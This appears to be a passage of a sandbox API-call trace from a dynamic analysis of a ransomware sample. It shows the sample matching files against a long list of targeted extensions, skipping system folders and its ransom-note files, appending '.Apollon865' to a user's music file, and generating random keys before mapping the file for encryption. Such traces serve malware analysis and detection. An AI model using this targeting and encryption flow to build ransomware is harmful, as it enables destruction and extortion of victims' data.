	[0088.398] lstrcmpiW (lpString1="mp3", lpString2="sbf") returned -1
	[0088.399] lstrlenW (lpString="scx") returned 3
	[0088.399] lstrcmpiW (lpString1="mp3", lpString2="scx") returned -1
	[0088.399] lstrlenW (lpString="sdb") returned 3
	[0088.399] lstrcmpiW (lpString1="mp3", lpString2="sdb") returned -1
	[0088.399] lstrlenW (lpString="sdc") returned 3
	[0088.399] lstrcmpiW (lpString1="mp3", lpString2="sdc") returned -1
	[0088.399] lstrlenW (lpString="sdf") returned 3
	[0088.399] lstrcmpiW (lpString1="mp3", lpString2="sdf") returned -1
	[0088.399] lstrlenW (lpString="sis") returned 3
	[0088.399] lstrcmpiW (lpString1="mp3", lpString2="sis") returned -1
	[0088.399] lstrlenW (lpString="spq") returned 3
	[0088.399] lstrcmpiW (lpString1="mp3", lpString2="spq") returned -1
	[0088.399] lstrlenW (lpString="te") returned 2
	[0088.399] lstrcmpiW (lpString1="p3", lpString2="te") returned -1
	[0088.399] lstrlenW (lpString="teacher") returned 7
	[0088.399] lstrcmpiW (lpString1="K7x.mp3", lpString2="teacher") returned -1
	[0088.399] lstrlenW (lpString="tmd") returned 3
	[0088.399] lstrcmpiW (lpString1="mp3", lpString2="tmd") returned -1
	[0088.399] lstrlenW (lpString="tps") returned 3
	[0088.399] lstrcmpiW (lpString1="mp3", lpString2="tps") returned -1
	[0088.399] lstrlenW (lpString="trc") returned 3
	[0088.399] lstrcmpiW (lpString1="mp3", lpString2="trc") returned -1
	[0088.399] lstrlenW (lpString="trc") returned 3
	[0088.399] lstrcmpiW (lpString1="mp3", lpString2="trc") returned -1
	[0088.399] lstrlenW (lpString="trm") returned 3
	[0088.399] lstrcmpiW (lpString1="mp3", lpString2="trm") returned -1
	[0088.399] lstrlenW (lpString="udb") returned 3
	[0088.399] lstrcmpiW (lpString1="mp3", lpString2="udb") returned -1
	[0088.399] lstrlenW (lpString="udl") returned 3
	[0088.399] lstrcmpiW (lpString1="mp3", lpString2="udl") returned -1
	[0088.399] lstrlenW (lpString="usr") returned 3
	[0088.399] lstrcmpiW (lpString1="mp3", lpString2="usr") returned -1
	[0088.399] lstrlenW (lpString="v12") returned 3
	[0088.399] lstrcmpiW (lpString1="mp3", lpString2="v12") returned -1
	[0088.399] lstrlenW (lpString="vis") returned 3
	[0088.399] lstrcmpiW (lpString1="mp3", lpString2="vis") returned -1
	[0088.399] lstrlenW (lpString="vpd") returned 3
	[0088.399] lstrcmpiW (lpString1="mp3", lpString2="vpd") returned -1
	[0088.400] lstrlenW (lpString="vvv") returned 3
	[0088.400] lstrcmpiW (lpString1="mp3", lpString2="vvv") returned -1
	[0088.400] lstrlenW (lpString="wdb") returned 3
	[0088.400] lstrcmpiW (lpString1="mp3", lpString2="wdb") returned -1
	[0088.400] lstrlenW (lpString="wmdb") returned 4
	[0088.400] lstrcmpiW (lpString1=".mp3", lpString2="wmdb") returned -1
	[0088.400] lstrlenW (lpString="wrk") returned 3
	[0088.400] lstrcmpiW (lpString1="mp3", lpString2="wrk") returned -1
	[0088.400] lstrlenW (lpString="xdb") returned 3
	[0088.400] lstrcmpiW (lpString1="mp3", lpString2="xdb") returned -1
	[0088.400] lstrlenW (lpString="xld") returned 3
	[0088.400] lstrcmpiW (lpString1="mp3", lpString2="xld") returned -1
	[0088.400] lstrlenW (lpString="xmlff") returned 5
	[0088.400] lstrcmpiW (lpString1="x.mp3", lpString2="xmlff") returned -1
	[0088.400] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\4mOjK9TTSmSvCmn1hP\\EqjKTOWrn9vutmtK7x.mp3.Apollon865") returned 98
	[0088.400] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\4mOjK9TTSmSvCmn1hP\\EqjKTOWrn9vutmtK7x.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\yxk3_kbyu\\4mojk9ttsmsvcmn1hp\\eqjktowrn9vutmtk7x.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\4mOjK9TTSmSvCmn1hP\\EqjKTOWrn9vutmtK7x.mp3.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\yxk3_kbyu\\4mojk9ttsmsvcmn1hp\\eqjktowrn9vutmtk7x.mp3.apollon865"), dwFlags=0x1) returned 1
	[0088.401] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\4mOjK9TTSmSvCmn1hP\\EqjKTOWrn9vutmtK7x.mp3.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\yxk3_kbyu\\4mojk9ttsmsvcmn1hp\\eqjktowrn9vutmtk7x.mp3.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x9c
	[0088.402] GetFileSizeEx (in: hFile=0x9c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=64693) returned 1
	[0088.402] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0088.402] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0088.402] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf9a8
	[0088.402] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf700) returned 1
	[0088.403] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0088.403] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0088.403] CreateFileMappingW (hFile=0x9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xffc0, lpName=0x0) returned 0x15c
	[0088.403] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffc0) returned 0x100000
	[0088.406] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf700) returned 1
	[0088.407] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0088.407] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0088.407] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0088.407] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0088.407] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0088.407] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0088.407] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0088.407] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0088.407] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b28e8
	[0088.407] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0088.407] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b28e8 | out: hHeap=0x580000) returned 1
	[0088.407] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0088.407] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0088.408] CloseHandle (hObject=0x15c) returned 1
	[0088.408] CloseHandle (hObject=0x9c) returned 1
	[0088.409] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0088.409] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf9a8 | out: hHeap=0x580000) returned 1
	[0088.409] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0088.410] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x303c2830, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x303c2830, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0088.410] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0088.410] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79dd3950, ftCreationTime.dwHighDateTime=0x1d4c7e0, ftLastAccessTime.dwLowDateTime=0x277930f0, ftLastAccessTime.dwHighDateTime=0x1d4cd18, ftLastWriteTime.dwLowDateTime=0x277930f0, ftLastWriteTime.dwHighDateTime=0x1d4cd18, nFileSizeHigh=0x0, nFileSizeLow=0xb409, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pZHvtQIakBZ72v8PjVLa.m4a", cAlternateFileName="PZHVTQ~1.M4A")) returned 1
	[0088.410] lstrcmpiW (lpString1="pZHvtQIakBZ72v8PjVLa.m4a", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0088.410] lstrcmpiW (lpString1="pZHvtQIakBZ72v8PjVLa.m4a", lpString2="Apollon865.txt.exe") returned 1
	[0088.410] lstrcmpiW (lpString1="pZHvtQIakBZ72v8PjVLa.m4a", lpString2=".") returned 1
	[0088.410] lstrcmpiW (lpString1="pZHvtQIakBZ72v8PjVLa.m4a", lpString2="..") returned 1
	[0088.410] lstrcmpiW (lpString1="pZHvtQIakBZ72v8PjVLa.m4a", lpString2="windows") returned -1
	[0088.410] lstrcmpiW (lpString1="pZHvtQIakBZ72v8PjVLa.m4a", lpString2="bootmgr") returned 1
	[0088.410] lstrcmpiW (lpString1="pZHvtQIakBZ72v8PjVLa.m4a", lpString2="temp") returned -1
	[0088.410] lstrcmpiW (lpString1="pZHvtQIakBZ72v8PjVLa.m4a", lpString2="pagefile.sys") returned 1
	[0088.410] lstrcmpiW (lpString1="pZHvtQIakBZ72v8PjVLa.m4a", lpString2="boot") returned 1
	[0088.410] lstrcmpiW (lpString1="pZHvtQIakBZ72v8PjVLa.m4a", lpString2="ids.txt") returned 1
	[0088.410] lstrcmpiW (lpString1="pZHvtQIakBZ72v8PjVLa.m4a", lpString2="ntuser.dat") returned 1
	[0088.410] lstrcmpiW (lpString1="pZHvtQIakBZ72v8PjVLa.m4a", lpString2="perflogs") returned 1
	[0088.410] lstrcmpiW (lpString1="pZHvtQIakBZ72v8PjVLa.m4a", lpString2="MSBuild") returned 1
	[0088.410] lstrlenW (lpString="pZHvtQIakBZ72v8PjVLa.m4a") returned 24
	[0088.410] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\4mOjK9TTSmSvCmn1hP\\EqjKTOWrn9vutmtK7x.mp3") returned 87
	[0088.410] lstrcpyW (in: lpString1=0x119e68a, lpString2="pZHvtQIakBZ72v8PjVLa.m4a" | out: lpString1="pZHvtQIakBZ72v8PjVLa.m4a") returned="pZHvtQIakBZ72v8PjVLa.m4a"
	[0088.410] lstrlenW (lpString="pZHvtQIakBZ72v8PjVLa.m4a") returned 24
	[0088.410] lstrlenW (lpString="Apollon865") returned 10
	[0088.410] lstrcmpiW (lpString1="8PjVLa.m4a", lpString2="Apollon865") returned -1
	[0088.410] lstrlenW (lpString=".dll") returned 4
	[0088.411] lstrcmpiW (lpString1="pZHvtQIakBZ72v8PjVLa.m4a", lpString2=".dll") returned 1
	[0088.411] lstrlenW (lpString=".lnk") returned 4
	[0088.411] lstrcmpiW (lpString1="pZHvtQIakBZ72v8PjVLa.m4a", lpString2=".lnk") returned 1
	[0088.411] lstrlenW (lpString=".ini") returned 4
	[0088.411] lstrcmpiW (lpString1="pZHvtQIakBZ72v8PjVLa.m4a", lpString2=".ini") returned 1
	[0088.411] lstrlenW (lpString=".sys") returned 4
	[0088.411] lstrcmpiW (lpString1="pZHvtQIakBZ72v8PjVLa.m4a", lpString2=".sys") returned 1
	[0088.411] lstrlenW (lpString="pZHvtQIakBZ72v8PjVLa.m4a") returned 24
	[0088.411] lstrlenW (lpString="bak") returned 3
	[0088.411] lstrcmpiW (lpString1="m4a", lpString2="bak") returned 1
	[0088.411] lstrlenW (lpString="ba_") returned 3
	[0088.411] lstrcmpiW (lpString1="m4a", lpString2="ba_") returned 1
	[0088.411] lstrlenW (lpString="dbb") returned 3
	[0088.411] lstrcmpiW (lpString1="m4a", lpString2="dbb") returned 1
	[0088.411] lstrlenW (lpString="vmdk") returned 4
	[0088.411] lstrcmpiW (lpString1=".m4a", lpString2="vmdk") returned -1
	[0088.411] lstrlenW (lpString="rar") returned 3
	[0088.411] lstrcmpiW (lpString1="m4a", lpString2="rar") returned -1
	[0088.411] lstrlenW (lpString="zip") returned 3
	[0088.411] lstrcmpiW (lpString1="m4a", lpString2="zip") returned -1
	[0088.411] lstrlenW (lpString="tgz") returned 3
	[0088.411] lstrcmpiW (lpString1="m4a", lpString2="tgz") returned -1
	[0088.411] lstrlenW (lpString="vbox") returned 4
	[0088.411] lstrcmpiW (lpString1=".m4a", lpString2="vbox") returned -1
	[0088.411] lstrlenW (lpString="vdi") returned 3
	[0088.411] lstrcmpiW (lpString1="m4a", lpString2="vdi") returned -1
	[0088.411] lstrlenW (lpString="vhd") returned 3
	[0088.411] lstrcmpiW (lpString1="m4a", lpString2="vhd") returned -1
	[0088.411] lstrlenW (lpString="vhdx") returned 4
	[0088.411] lstrcmpiW (lpString1=".m4a", lpString2="vhdx") returned -1
	[0088.411] lstrlenW (lpString="avhd") returned 4
	[0088.411] lstrcmpiW (lpString1=".m4a", lpString2="avhd") returned -1
	[0088.411] lstrlenW (lpString="db") returned 2
	[0088.411] lstrcmpiW (lpString1="4a", lpString2="db") returned -1
	[0088.411] lstrlenW (lpString="db2") returned 3
	[0088.411] lstrcmpiW (lpString1="m4a", lpString2="db2") returned 1
	[0088.411] lstrlenW (lpString="db3") returned 3
	[0088.412] lstrcmpiW (lpString1="m4a", lpString2="db3") returned 1
	[0088.412] lstrlenW (lpString="dbf") returned 3
	[0088.412] lstrcmpiW (lpString1="m4a", lpString2="dbf") returned 1
	[0088.412] lstrlenW (lpString="mdf") returned 3
	[0088.412] lstrcmpiW (lpString1="m4a", lpString2="mdf") returned -1
	[0088.412] lstrlenW (lpString="mdb") returned 3
	[0088.412] lstrcmpiW (lpString1="m4a", lpString2="mdb") returned -1
	[0088.412] lstrlenW (lpString="sql") returned 3
	[0088.412] lstrcmpiW (lpString1="m4a", lpString2="sql") returned -1
	[0088.412] lstrlenW (lpString="sqlite") returned 6
	[0088.412] lstrcmpiW (lpString1="La.m4a", lpString2="sqlite") returned -1
	[0088.412] lstrlenW (lpString="sqlite3") returned 7
	[0088.412] lstrcmpiW (lpString1="VLa.m4a", lpString2="sqlite3") returned 1
	[0088.412] lstrlenW (lpString="sqlitedb") returned 8
	[0088.412] lstrcmpiW (lpString1="jVLa.m4a", lpString2="sqlitedb") returned -1
	[0088.412] lstrlenW (lpString="xml") returned 3
	[0088.412] lstrcmpiW (lpString1="m4a", lpString2="xml") returned -1
	[0088.412] lstrlenW (lpString="$er") returned 3
	[0088.412] lstrcmpiW (lpString1="m4a", lpString2="$er") returned 1
	[0088.412] lstrlenW (lpString="4dd") returned 3
	[0088.412] lstrcmpiW (lpString1="m4a", lpString2="4dd") returned 1
	[0088.412] lstrlenW (lpString="4dl") returned 3
	[0088.412] lstrcmpiW (lpString1="m4a", lpString2="4dl") returned 1
	[0088.412] lstrlenW (lpString="^^^") returned 3
	[0088.412] lstrcmpiW (lpString1="m4a", lpString2="^^^") returned 1
	[0088.412] lstrlenW (lpString="abs") returned 3
	[0088.412] lstrcmpiW (lpString1="m4a", lpString2="abs") returned 1
	[0088.412] lstrlenW (lpString="abx") returned 3
	[0088.412] lstrcmpiW (lpString1="m4a", lpString2="abx") returned 1
	[0088.412] lstrlenW (lpString="accdb") returned 5
	[0088.412] lstrcmpiW (lpString1="a.m4a", lpString2="accdb") returned -1
	[0088.412] lstrlenW (lpString="accdc") returned 5
	[0088.412] lstrcmpiW (lpString1="a.m4a", lpString2="accdc") returned -1
	[0088.412] lstrlenW (lpString="accde") returned 5
	[0088.412] lstrcmpiW (lpString1="a.m4a", lpString2="accde") returned -1
	[0088.412] lstrlenW (lpString="accdr") returned 5
	[0088.412] lstrcmpiW (lpString1="a.m4a", lpString2="accdr") returned -1
	[0088.412] lstrlenW (lpString="accdt") returned 5
	[0088.413] lstrcmpiW (lpString1="a.m4a", lpString2="accdt") returned -1
	[0088.413] lstrlenW (lpString="accdw") returned 5
	[0088.413] lstrcmpiW (lpString1="a.m4a", lpString2="accdw") returned -1
	[0088.413] lstrlenW (lpString="accft") returned 5
	[0088.413] lstrcmpiW (lpString1="a.m4a", lpString2="accft") returned -1
	[0088.413] lstrlenW (lpString="adb") returned 3
	[0088.413] lstrcmpiW (lpString1="m4a", lpString2="adb") returned 1
	[0088.413] lstrlenW (lpString="adb") returned 3
	[0088.413] lstrcmpiW (lpString1="m4a", lpString2="adb") returned 1
	[0088.413] lstrlenW (lpString="ade") returned 3
	[0088.413] lstrcmpiW (lpString1="m4a", lpString2="ade") returned 1
	[0088.413] lstrlenW (lpString="adf") returned 3
	[0088.413] lstrcmpiW (lpString1="m4a", lpString2="adf") returned 1
	[0088.413] lstrlenW (lpString="adn") returned 3
	[0088.413] lstrcmpiW (lpString1="m4a", lpString2="adn") returned 1
	[0088.413] lstrlenW (lpString="adp") returned 3
	[0088.413] lstrcmpiW (lpString1="m4a", lpString2="adp") returned 1
	[0088.413] lstrlenW (lpString="alf") returned 3
	[0088.413] lstrcmpiW (lpString1="m4a", lpString2="alf") returned 1
	[0088.413] lstrlenW (lpString="ask") returned 3
	[0088.413] lstrcmpiW (lpString1="m4a", lpString2="ask") returned 1
	[0088.413] lstrlenW (lpString="btr") returned 3
	[0088.413] lstrcmpiW (lpString1="m4a", lpString2="btr") returned 1
	[0088.413] lstrlenW (lpString="cat") returned 3
	[0088.413] lstrcmpiW (lpString1="m4a", lpString2="cat") returned 1
	[0088.413] lstrlenW (lpString="cdb") returned 3
	[0088.413] lstrcmpiW (lpString1="m4a", lpString2="cdb") returned 1
	[0088.413] lstrlenW (lpString="ckp") returned 3
	[0088.413] lstrcmpiW (lpString1="m4a", lpString2="ckp") returned 1
	[0088.413] lstrlenW (lpString="cma") returned 3
	[0088.413] lstrcmpiW (lpString1="m4a", lpString2="cma") returned 1
	[0088.413] lstrlenW (lpString="cpd") returned 3
	[0088.413] lstrcmpiW (lpString1="m4a", lpString2="cpd") returned 1
	[0088.413] lstrlenW (lpString="dacpac") returned 6
	[0088.413] lstrcmpiW (lpString1="La.m4a", lpString2="dacpac") returned 1
	[0088.413] lstrlenW (lpString="dad") returned 3
	[0088.413] lstrcmpiW (lpString1="m4a", lpString2="dad") returned 1
	[0088.414] lstrlenW (lpString="dadiagrams") returned 10
	[0088.414] lstrcmpiW (lpString1="8PjVLa.m4a", lpString2="dadiagrams") returned -1
	[0088.414] lstrlenW (lpString="daschema") returned 8
	[0088.414] lstrcmpiW (lpString1="jVLa.m4a", lpString2="daschema") returned 1
	[0088.414] lstrlenW (lpString="db-journal") returned 10
	[0088.414] lstrcmpiW (lpString1="8PjVLa.m4a", lpString2="db-journal") returned -1
	[0088.414] lstrlenW (lpString="db-shm") returned 6
	[0088.414] lstrcmpiW (lpString1="La.m4a", lpString2="db-shm") returned 1
	[0088.414] lstrlenW (lpString="db-wal") returned 6
	[0088.414] lstrcmpiW (lpString1="La.m4a", lpString2="db-wal") returned 1
	[0088.414] lstrlenW (lpString="dbc") returned 3
	[0088.414] lstrcmpiW (lpString1="m4a", lpString2="dbc") returned 1
	[0088.414] lstrlenW (lpString="dbs") returned 3
	[0088.414] lstrcmpiW (lpString1="m4a", lpString2="dbs") returned 1
	[0088.414] lstrlenW (lpString="dbt") returned 3
	[0088.414] lstrcmpiW (lpString1="m4a", lpString2="dbt") returned 1
	[0088.414] lstrlenW (lpString="dbv") returned 3
	[0088.414] lstrcmpiW (lpString1="m4a", lpString2="dbv") returned 1
	[0088.414] lstrlenW (lpString="dbx") returned 3
	[0088.414] lstrcmpiW (lpString1="m4a", lpString2="dbx") returned 1
	[0088.414] lstrlenW (lpString="dcb") returned 3
	[0088.414] lstrcmpiW (lpString1="m4a", lpString2="dcb") returned 1
	[0088.414] lstrlenW (lpString="dct") returned 3
	[0088.414] lstrcmpiW (lpString1="m4a", lpString2="dct") returned 1
	[0088.414] lstrlenW (lpString="dcx") returned 3
	[0088.414] lstrcmpiW (lpString1="m4a", lpString2="dcx") returned 1
	[0088.414] lstrlenW (lpString="ddl") returned 3
	[0088.414] lstrcmpiW (lpString1="m4a", lpString2="ddl") returned 1
	[0088.414] lstrlenW (lpString="dlis") returned 4
	[0088.414] lstrcmpiW (lpString1=".m4a", lpString2="dlis") returned -1
	[0088.414] lstrlenW (lpString="dp1") returned 3
	[0088.414] lstrcmpiW (lpString1="m4a", lpString2="dp1") returned 1
	[0088.414] lstrlenW (lpString="dqy") returned 3
	[0088.414] lstrcmpiW (lpString1="m4a", lpString2="dqy") returned 1
	[0088.414] lstrlenW (lpString="dsk") returned 3
	[0088.414] lstrcmpiW (lpString1="m4a", lpString2="dsk") returned 1
	[0088.414] lstrlenW (lpString="dsn") returned 3
	[0088.414] lstrcmpiW (lpString1="m4a", lpString2="dsn") returned 1
	[0088.415] lstrlenW (lpString="dtsx") returned 4
	[0088.415] lstrcmpiW (lpString1=".m4a", lpString2="dtsx") returned -1
	[0088.415] lstrlenW (lpString="dxl") returned 3
	[0088.415] lstrcmpiW (lpString1="m4a", lpString2="dxl") returned 1
	[0088.415] lstrlenW (lpString="eco") returned 3
	[0088.415] lstrcmpiW (lpString1="m4a", lpString2="eco") returned 1
	[0088.415] lstrlenW (lpString="ecx") returned 3
	[0088.415] lstrcmpiW (lpString1="m4a", lpString2="ecx") returned 1
	[0088.415] lstrlenW (lpString="edb") returned 3
	[0088.415] lstrcmpiW (lpString1="m4a", lpString2="edb") returned 1
	[0088.415] lstrlenW (lpString="epim") returned 4
	[0088.415] lstrcmpiW (lpString1=".m4a", lpString2="epim") returned -1
	[0088.415] lstrlenW (lpString="fcd") returned 3
	[0088.415] lstrcmpiW (lpString1="m4a", lpString2="fcd") returned 1
	[0088.415] lstrlenW (lpString="fdb") returned 3
	[0088.415] lstrcmpiW (lpString1="m4a", lpString2="fdb") returned 1
	[0088.415] lstrlenW (lpString="fic") returned 3
	[0088.415] lstrcmpiW (lpString1="m4a", lpString2="fic") returned 1
	[0088.415] lstrlenW (lpString="flexolibrary") returned 12
	[0088.415] lstrcmpiW (lpString1="2v8PjVLa.m4a", lpString2="flexolibrary") returned -1
	[0088.415] lstrlenW (lpString="fm5") returned 3
	[0088.415] lstrcmpiW (lpString1="m4a", lpString2="fm5") returned 1
	[0088.415] lstrlenW (lpString="fmp") returned 3
	[0088.415] lstrcmpiW (lpString1="m4a", lpString2="fmp") returned 1
	[0088.415] lstrlenW (lpString="fmp12") returned 5
	[0088.415] lstrcmpiW (lpString1="a.m4a", lpString2="fmp12") returned -1
	[0088.415] lstrlenW (lpString="fmpsl") returned 5
	[0088.415] lstrcmpiW (lpString1="a.m4a", lpString2="fmpsl") returned -1
	[0088.415] lstrlenW (lpString="fol") returned 3
	[0088.415] lstrcmpiW (lpString1="m4a", lpString2="fol") returned 1
	[0088.415] lstrlenW (lpString="fp3") returned 3
	[0088.415] lstrcmpiW (lpString1="m4a", lpString2="fp3") returned 1
	[0088.415] lstrlenW (lpString="fp4") returned 3
	[0088.415] lstrcmpiW (lpString1="m4a", lpString2="fp4") returned 1
	[0088.415] lstrlenW (lpString="fp5") returned 3
	[0088.415] lstrcmpiW (lpString1="m4a", lpString2="fp5") returned 1
	[0088.415] lstrlenW (lpString="fp7") returned 3
	[0088.415] lstrcmpiW (lpString1="m4a", lpString2="fp7") returned 1
	[0088.416] lstrlenW (lpString="fpt") returned 3
	[0088.416] lstrcmpiW (lpString1="m4a", lpString2="fpt") returned 1
	[0088.416] lstrlenW (lpString="frm") returned 3
	[0088.416] lstrcmpiW (lpString1="m4a", lpString2="frm") returned 1
	[0088.416] lstrlenW (lpString="gdb") returned 3
	[0088.416] lstrcmpiW (lpString1="m4a", lpString2="gdb") returned 1
	[0088.416] lstrlenW (lpString="gdb") returned 3
	[0088.416] lstrcmpiW (lpString1="m4a", lpString2="gdb") returned 1
	[0088.416] lstrlenW (lpString="grdb") returned 4
	[0088.416] lstrcmpiW (lpString1=".m4a", lpString2="grdb") returned -1
	[0088.416] lstrlenW (lpString="gwi") returned 3
	[0088.416] lstrcmpiW (lpString1="m4a", lpString2="gwi") returned 1
	[0088.416] lstrlenW (lpString="hdb") returned 3
	[0088.416] lstrcmpiW (lpString1="m4a", lpString2="hdb") returned 1
	[0088.416] lstrlenW (lpString="his") returned 3
	[0088.416] lstrcmpiW (lpString1="m4a", lpString2="his") returned 1
	[0088.416] lstrlenW (lpString="ib") returned 2
	[0088.416] lstrcmpiW (lpString1="4a", lpString2="ib") returned -1
	[0088.416] lstrlenW (lpString="idb") returned 3
	[0088.416] lstrcmpiW (lpString1="m4a", lpString2="idb") returned 1
	[0088.416] lstrlenW (lpString="ihx") returned 3
	[0088.416] lstrcmpiW (lpString1="m4a", lpString2="ihx") returned 1
	[0088.416] lstrlenW (lpString="itdb") returned 4
	[0088.416] lstrcmpiW (lpString1=".m4a", lpString2="itdb") returned -1
	[0088.416] lstrlenW (lpString="itw") returned 3
	[0088.416] lstrcmpiW (lpString1="m4a", lpString2="itw") returned 1
	[0088.416] lstrlenW (lpString="jet") returned 3
	[0088.416] lstrcmpiW (lpString1="m4a", lpString2="jet") returned 1
	[0088.416] lstrlenW (lpString="jtx") returned 3
	[0088.416] lstrcmpiW (lpString1="m4a", lpString2="jtx") returned 1
	[0088.416] lstrlenW (lpString="kdb") returned 3
	[0088.416] lstrcmpiW (lpString1="m4a", lpString2="kdb") returned 1
	[0088.416] lstrlenW (lpString="kexi") returned 4
	[0088.416] lstrcmpiW (lpString1=".m4a", lpString2="kexi") returned -1
	[0088.416] lstrlenW (lpString="kexic") returned 5
	[0088.416] lstrcmpiW (lpString1="a.m4a", lpString2="kexic") returned -1
	[0088.416] lstrlenW (lpString="kexis") returned 5
	[0088.417] lstrcmpiW (lpString1="a.m4a", lpString2="kexis") returned -1
	[0088.417] lstrlenW (lpString="lgc") returned 3
	[0088.417] lstrcmpiW (lpString1="m4a", lpString2="lgc") returned 1
	[0088.417] lstrlenW (lpString="lwx") returned 3
	[0088.417] lstrcmpiW (lpString1="m4a", lpString2="lwx") returned 1
	[0088.417] lstrlenW (lpString="maf") returned 3
	[0088.417] lstrcmpiW (lpString1="m4a", lpString2="maf") returned -1
	[0088.417] lstrlenW (lpString="maq") returned 3
	[0088.417] lstrcmpiW (lpString1="m4a", lpString2="maq") returned -1
	[0088.417] lstrlenW (lpString="mar") returned 3
	[0088.417] lstrcmpiW (lpString1="m4a", lpString2="mar") returned -1
	[0088.417] lstrlenW (lpString="marshal") returned 7
	[0088.417] lstrcmpiW (lpString1="VLa.m4a", lpString2="marshal") returned 1
	[0088.417] lstrlenW (lpString="mas") returned 3
	[0088.417] lstrcmpiW (lpString1="m4a", lpString2="mas") returned -1
	[0088.417] lstrlenW (lpString="mav") returned 3
	[0088.417] lstrcmpiW (lpString1="m4a", lpString2="mav") returned -1
	[0088.417] lstrlenW (lpString="maw") returned 3
	[0088.417] lstrcmpiW (lpString1="m4a", lpString2="maw") returned -1
	[0088.417] lstrlenW (lpString="mdbhtml") returned 7
	[0088.417] lstrcmpiW (lpString1="VLa.m4a", lpString2="mdbhtml") returned 1
	[0088.417] lstrlenW (lpString="mdn") returned 3
	[0088.417] lstrcmpiW (lpString1="m4a", lpString2="mdn") returned -1
	[0088.417] lstrlenW (lpString="mdt") returned 3
	[0088.417] lstrcmpiW (lpString1="m4a", lpString2="mdt") returned -1
	[0088.417] lstrlenW (lpString="mfd") returned 3
	[0088.417] lstrcmpiW (lpString1="m4a", lpString2="mfd") returned -1
	[0088.417] lstrlenW (lpString="mpd") returned 3
	[0088.417] lstrcmpiW (lpString1="m4a", lpString2="mpd") returned -1
	[0088.417] lstrlenW (lpString="mrg") returned 3
	[0088.417] lstrcmpiW (lpString1="m4a", lpString2="mrg") returned -1
	[0088.417] lstrlenW (lpString="mud") returned 3
	[0088.417] lstrcmpiW (lpString1="m4a", lpString2="mud") returned -1
	[0088.417] lstrlenW (lpString="mwb") returned 3
